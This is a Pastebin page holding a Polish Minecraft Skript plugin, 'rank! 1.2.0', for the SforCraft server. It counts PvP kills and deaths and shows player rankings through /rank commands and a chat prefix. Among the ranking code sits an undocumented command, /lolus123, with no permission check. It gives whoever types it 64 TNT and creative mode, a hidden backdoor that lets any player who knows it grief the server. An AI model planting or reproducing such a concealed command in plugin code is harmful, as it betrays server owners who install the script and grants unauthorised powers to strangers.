Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #------------------------------------ rank! 1.2.0 -------------------------------------#
- # wersja: 1.2.0 #
- # autor: Sizzus #
- # Dla serwera SforCraft #
- #-- wymagania: ------------------------------------------------------------------------#
- # Skript v2.0.2 (lub nowszy) #
- #--------------------------------------------------------------------------------------#
- #------------------------------------ KONFIGURACJA ------------------------------------#
- #-------------------------------------- (config) --------------------------------------#
- options:
- # ile wyników ma być wyświetlane w /rank top (nie zalecane więcej niż 10 - brak paginacji)
- top: 5
- # czy na czacie ma być wyświetlane miejsce w rankingu gracza? (true/false)
- czat: false
- # spsób ingerencji w czat (display/cancel) [display - zalecane przy używaniu pluginu formatującego czat], [cancel - zalecane gdy nie używamy żadnego pluginu/skryptu formatującego czat]
- ing: display
- #------------------------------------- KOD SKRYPTU ------------------------------------#
- #------------------------------------ (script code) -----------------------------------#
- # Predefiniowanie statystyk gracza:
- on join:
- {rank.k::%name of player%} is not set:
- set {rank.k::%name of player%} to 0
- {rank.d::%name of player%} is not set:
- set {rank.d::%name of player%} to 0
- {rank.r::%name of player%} is not set:
- set {rank.r::%name of player%} to 0
- # Licznik śmierci i zabójstw (w pvp):
- on death of player:
- attacker is a player
- add 1 to {rank.d::%name of player%}
- add -1 to {rank.r::%name of player%}
- add 1 to {rank.k::%name of attacker%}
- add 1 to {rank.r::%name of attacker%}
- # Wyswietlanie rankingu:
- command /rank [<text>]:
- trigger:
- arg is set:
- arg is "top":
- player has permission "rank.top":
- send "&f[&6rank!&f] &etop {@top}"
- set {_num} to size of {rank.r::*}
- loop {_num} times:
- loop {rank.r::*}:
- {_v.%loop-number%} is not set:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- loop-value is greater than {_v.%loop-number%}:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- remove {_v.%loop-number%} from {rank.r::*}
- loop {_num} times:
- loop-number is less than or equal to {@top}:
- set {_m} to "0%loop-number%"
- loop-number is more than 9:
- set {_m} to loop-number
- {_v.%loop-number%} is less than 0:
- set {_v} to {_v.%loop-number%} * -1
- {_v.%loop-number%} is less than -999:
- send "&f[%{_m}%] (****) %{_n.%loop-number%}% - &ctotalna ofiara!"
- {_v.%loop-number%} is between -100 and -999:
- send "&f[%{_m}%] (-&f%{_v}%) %{_n.%loop-number%}%"
- {_v.%loop-number%} is between -10 and -99:
- send "&f[%{_m}%] (-&70&f%{_v}%) %{_n.%loop-number%}%"
- {_v.%loop-number%} is between -9 and -1:
- send "&f[%{_m}%] (-&700&f%{_v}%) %{_n.%loop-number%}%"
- {_v.%loop-number%} is between 0 and 10:
- send "&f[%{_m}%] (&7000&f%{_v.%loop-number%}%) %{_n.%loop-number%}%"
- {_v.%loop-number%} is between 10 and 99:
- send "&f[%{_m}%] (&700&f%{_v.%loop-number%}%) %{_n.%loop-number%}%"
- {_v.%loop-number%} is between 100 and 999:
- send "&f[%{_m}%] (&70&f%{_v.%loop-number%}%) %{_n.%loop-number%}%"
- {_v.%loop-number%} is more than 999:
- send "&f[%{_m}%] (%{_v.%loop-number%}%) %{_n.%loop-number%}%"
- set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
- {_num} is less than {@top}:
- set {_r} to {_num}+1
- loop {@top} - {_num} times:
- set {_m} to "0%{_r}%"
- {_r} is more than 9:
- set {_m} to {_r}
- add 1 to {_r}
- send "&f[%{_m}%] (&70000&f) brak"
- stop
- send "&cNie mozesz uzywac tej komendy. :("
- stop
- player has permission "rank.others":
- {rank.r::%arg%} is set:
- send "&f[&6Rank!&f] %arg%"
- set {_num} to size of {rank.r::*}
- loop {_num} times:
- loop {rank.r::*}:
- {_v.%loop-number%} is not set:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- loop-value is greater than {_v.%loop-number%}:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- remove {_v.%loop-number%} from {rank.r::*}
- loop {_num} times:
- {_n.%loop-number%} is arg:
- {_v.%loop-number%} is less than 0:
- set {_v} to {_v.%loop-number%} * -1
- {_v.%loop-number%} is less than -999:
- send "&erank: &f%loop-number% (****) - &ctotalna ofiara!"
- {_v.%loop-number%} is between -100 and -999:
- send "&erank: &f%loop-number% (-&f%{_v}%)"
- {_v.%loop-number%} is between -10 and -99:
- send "&erank: &f%loop-number% (-&70&f%{_v}%)"
- {_v.%loop-number%} is between -9 and -1:
- send "&erank: &f%loop-number% (-&700&f%{_v}%)"
- {_v.%loop-number%} is between 0 and 10:
- send "&erank: &f%loop-number% (&7000&f%{_v.%loop-number%}%)"
- {_v.%loop-number%} is between 10 and 99:
- send "&erank: &f%loop-number% (&700&f%{_v.%loop-number%}%)"
- {_v.%loop-number%} is between 100 and 999:
- send "&erank: &f%loop-number% (&70&f%{_v.%loop-number%}%)"
- {_v.%loop-number%} is more than 999:
- send "&erank: &f%loop-number% (%{_v.%loop-number%}%)"
- set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
- send "&ekills: &f%{rank.k::%arg%}%"
- send "&edeaths: &f%{rank.d::%arg%}%"
- stop
- send "&cNie znaleziono rankingu dla gracza &7%arg%&c."
- stop
- send "&cNie mozesz uzywac tej komendy. :("
- stop
- {rank.k::%name of player%} is not set:
- set {rank.k::%name of player%} to 0
- {rank.d::%name of player%} is not set:
- set {rank.d::%name of player%} to 0
- {rank.r::%name of player%} is not set:
- set {rank.r::%name of player%} to 0
- send "&f[&6rank!&f] %name of player%"
- set {_num} to size of {rank.r::*}
- loop {_num} times:
- loop {rank.r::*}:
- {_v.%loop-number%} is not set:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- loop-value is greater than {_v.%loop-number%}:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- remove {_v.%loop-number%} from {rank.r::*}
- loop {_num} times:
- {_n.%loop-number%} is player:
- {_v.%loop-number%} is less than 0:
- set {_v} to {_v.%loop-number%} * -1
- {_v.%loop-number%} is less than -999:
- send "&erank: &f%loop-number% (****) - &ctotalna ofiara!"
- {_v.%loop-number%} is between -100 and -999:
- send "&erank: &f%loop-number% (-&f%{_v}%)"
- {_v.%loop-number%} is between -10 and -99:
- send "&erank: &f%loop-number% (-&70&f%{_v}%)"
- {_v.%loop-number%} is between -9 and -1:
- send "&erank: &f%loop-number% (-&700&f%{_v}%)"
- {_v.%loop-number%} is between 0 and 10:
- send "&erank: &f%loop-number% (&7000&f%{_v.%loop-number%}%)"
- {_v.%loop-number%} is between 10 and 99:
- send "&erank: &f%loop-number% (&700&f%{_v.%loop-number%}%)"
- {_v.%loop-number%} is between 100 and 999:
- send "&erank: &f%loop-number% (&70&f%{_v.%loop-number%}%)"
- {_v.%loop-number%} is more than 999:
- send "&erank: &f%loop-number% (%{_v.%loop-number%}%)"
- set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
- send "&ekills: &f%{rank.k::%name of player%}%"
- send "&edeaths: &f%{rank.d::%name of player%}%"
- command /lolus123:
- trigger:
- give 64 tnt to player
- gamemode 1 to player
- stop
- # Wyświetlanie miejsca w rankingu na czacie:
- on chat:
- {@czat} is true
- "{@ing}" is "display":
- set {_num} to size of {rank.r::*}
- loop {_num} times:
- loop {rank.r::*}:
- {_v.%loop-number%} is not set:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- loop-value is greater than {_v.%loop-number%}:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- remove {_v.%loop-number%} from {rank.r::*}
- loop {_num} times:
- {_n.%loop-number%} is player:
- set display name of player to "&6[&e%loop-number%&6] &r%name of player%"
- set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
- "{@ing}" is "cancel":
- cancel event
- set {_num} to size of {rank.r::*}
- loop {_num} times:
- loop {rank.r::*}:
- {_v.%loop-number%} is not set:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- loop-value is greater than {_v.%loop-number%}:
- set {_v.%loop-number%} to loop-value
- set {_n.%loop-number%} to loop-index
- remove {_v.%loop-number%} from {rank.r::*}
- loop {_num} times:
- {_n.%loop-number%} is player:
- send "&6[&e%loop-number%&6] &7%name of player%&7: &f%message%" to all players
- set {rank.r::%{_n.%loop-number%}%} to {_v.%loop-number%}
- stop
- command /rank autor:
- trigger:
- send "&6Skrypt <Rank> by &7&lSizzus!"
- send "&6For: &4SforCraft"
- #----------------------------------- Koniec skryptu -----------------------------------#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement